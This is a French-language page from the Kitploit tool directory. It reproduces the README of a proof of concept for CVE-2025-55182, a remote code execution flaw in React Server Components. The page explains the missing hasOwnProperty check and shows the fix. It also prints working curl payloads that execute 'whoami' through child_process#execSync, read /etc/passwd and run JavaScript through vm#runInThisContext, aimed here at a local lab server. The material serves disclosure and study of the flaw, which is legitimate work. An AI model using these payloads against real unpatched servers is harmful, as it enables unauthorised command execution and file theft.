Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-55182-realistic-poc — un POC réaliste démontrant la vérification `hasOwnProperty` manquante dans react-server-dom-webpack@19.0.0 | Kitploit
Outils/GitHubGitHub/joshterrill/cve-2025-55182-realistic-poc
Analyse des VulnérabilitésAnalyse de CodeExploitationExploitation d'Applications WebApprentissage et ÉducationDéveloppement de Charges Utiles
GitHubjoshterrill/cve-2025-55182-realistic-poc

CVE-2025-55182-realistic-poc

un POC réaliste démontrant la vérification `hasOwnProperty` manquante dans [email protected]

Voir le dépôt
11il y a 9 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2025-55182 : Exécution de code à distance (RCE) dans les composants serveur React

Une preuve de concept minimale démontrant la vulnérabilité critique d'exécution de code à distance dans [email protected].

Qu'est-ce que CVE-2025-55182 ?

Une vulnérabilité RCE sans authentification dans les composants serveur React qui permet aux attaquants d'exécuter du code arbitraire sur les serveurs utilisant le package vulnérable react-server-dom-webpack (versions 19.0.0 - 19.2.0).

Score CVSS : 10 (Critique)

Packages concernés

  • react-server-dom-webpack 19.0.0, 19.1.0, 19.1.1, 19.2.0
  • react-server-dom-parcel 19.0.0, 19.1.0, 19.1.1, 19.2.0
  • react-server-dom-turbopack 19.0.0, 19.1.0, 19.1.1, 19.2.0

Versions corrigées

  • 19.0.1, 19.1.2, 19.2.1

La vulnérabilité

Cause racine : vérification hasOwnProperty manquante

La vulnérabilité se trouve dans la fonction requireModule de l'implémentation du protocole Flight de React. Cette fonction charge les exports de modules en fonction des métadonnées reçues des requêtes client.

Code vulnérable ([email protected]) :

root@kitploit:~
// packages/react-server-dom-webpack/src/client/ReactFlightClientConfigBundlerWebpack.js

export function requireModule<T>(metadata: ClientReference<T>): T {
  const moduleExports = __webpack_require__(metadata[ID]);
  if (metadata[NAME] === '*') {
    return moduleExports;
  }
  if (metadata[NAME] === '') {
    return moduleExports.__esModule ? moduleExports.default : moduleExports;
  }
  return moduleExports[metadata[NAME]];  // <-- Aucune validation !
}

Le problème : metadata[NAME] provient de l'entrée utilisateur (la requête HTTP). Un attaquant peut spécifier n'importe quel module et nom d'export, comme child_process#execSync.

Le correctif (PR #35277)

Code corrigé ([email protected]+) :

root@kitploit:~
// packages/react-server-dom-webpack/src/client/ReactFlightClientConfigBundlerWebpack.js

import hasOwnProperty from 'shared/hasOwnProperty';

export function requireModule<T>(metadata: ClientReference<T>): T {
  const moduleExports = __webpack_require__(metadata[ID]);
  if (metadata[NAME] === '*') {
    return moduleExports;
  }
  if (metadata[NAME] === '') {
    return moduleExports.__esModule ? moduleExports.default : moduleExports;
  }
  // CORRIGÉ : Vérifie que l'export existe réellement
  if (hasOwnProperty.call(moduleExports, metadata[NAME])) {
    return moduleExports[metadata[NAME]];
  }
  return (undefined: any);
}

Le correctif ajoute hasOwnProperty.call() pour s'assurer que l'export demandé est une propriété propre du module, non héritée de la chaîne de prototypes ou résolvable dynamiquement vers des modules dangereux.

Vecteur d'attaque

  1. L'attaquant envoie une requête HTTP POST spécialement conçue à un point de terminaison d'action serveur
  2. La charge utile contient les champs $ACTION_REF_0 et $ACTION_0:0
  3. $ACTION_0:0 contient {"id":"child_process#execSync","bound":["whoami"]}
  4. decodeAction analyse cela et appelle requireModule avec des métadonnées contrôlées par l'attaquant
  5. requireModule retourne require('child_process').execSync
  6. La fonction est appelée avec les arguments de l'attaquant → RCE

Preuve de concept

Configuration

root@kitploit:~
cd CVE-2025-55182-realistic-poc/
npm install
npm start
# démarre sur http://localhost:3000

Exécuter la RCE

root@kitploit:~
curl -X POST http://localhost:3000 \
  -F '$ACTION_REF_0=' \
  -F '$ACTION_0:0={"id":"child_process#execSync","bound":["whoami"]}'

Sortie attendue :

root@kitploit:~
{"success":true,"result":"your-username\n"}

Autres exemples d'exploitation

root@kitploit:~
# Lire des fichiers
curl -X POST http://localhost:3000 \
  -F '$ACTION_REF_0=' \
  -F '$ACTION_0:0={"id":"fs#readFileSync","bound":["/etc/passwd","utf8"]}'

# Exécuter du JavaScript
curl -X POST http://localhost:3000 \
  -F '$ACTION_REF_0=' \
  -F '$ACTION_0:0={"id":"vm#runInThisContext","bound":["process.version"]}'

Comment ça fonctionne

Le flux de decodeAction

root@kitploit:~
HTTP Request
    │
    ▼
┌─────────────────────────────────────────────────────────────┐
│  decodeAction(formData, serverManifest)                     │
│  - Analyse $ACTION_REF_0 pour trouver la référence d'action  │
│  - Analyse $ACTION_0:0 pour obtenir {id, bound}               │
└─────────────────────────────────────────────────────────────┘
    │
    ▼
┌─────────────────────────────────────────────────────────────┐
│  loadServerReference(serverManifest, id, bound)             │
│  - id = "child_process#execSync" (contrôlé par l'attaquant) │
│  - bound = ["whoami"] (contrôlé par l'attaquant)            │
└─────────────────────────────────────────────────────────────┘
    │
    ▼
┌─────────────────────────────────────────────────────────────┐
│  resolveServerReference(bundlerConfig, id)                  │
│  - Divise "child_process#execSync" en :                     │
│    specifier = "child_process"                              │
│    name = "execSync"                                        │
└─────────────────────────────────────────────────────────────┘
    │
    ▼
┌─────────────────────────────────────────────────────────────┐
│  requireModule(metadata)                     [VULNÉRABLE]    │
│  - Charge require("child_process")                           │
│  - Retourne moduleExports["execSync"]                        │
│  - AUCUNE VALIDATION que "execSync" devrait être accessible  │
└─────────────────────────────────────────────────────────────┘
    │
    ▼
┌─────────────────────────────────────────────────────────────┐
│  action = execSync.bind(null, "whoami")                     │
│  result = action()  →  EXÉCUTE "whoami" SUR LE SERVEUR      │
└─────────────────────────────────────────────────────────────┘

Références

  • Avis de sécurité React : https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components
  • PR GitHub #35277 (Correctif) : https://github.com/facebook/react/pull/35277
  • Enregistrement CVE : https://nvd.nist.gov/vuln/detail/CVE-2025-55182
  • Analyse Wiz : https://www.wiz.io/blog/critical-vulnerability-in-react-cve-2025-55182
  • Avis Next.js : https://nextjs.org/blog/CVE-2025-66478

Licence

MIT

Télécharger l’outil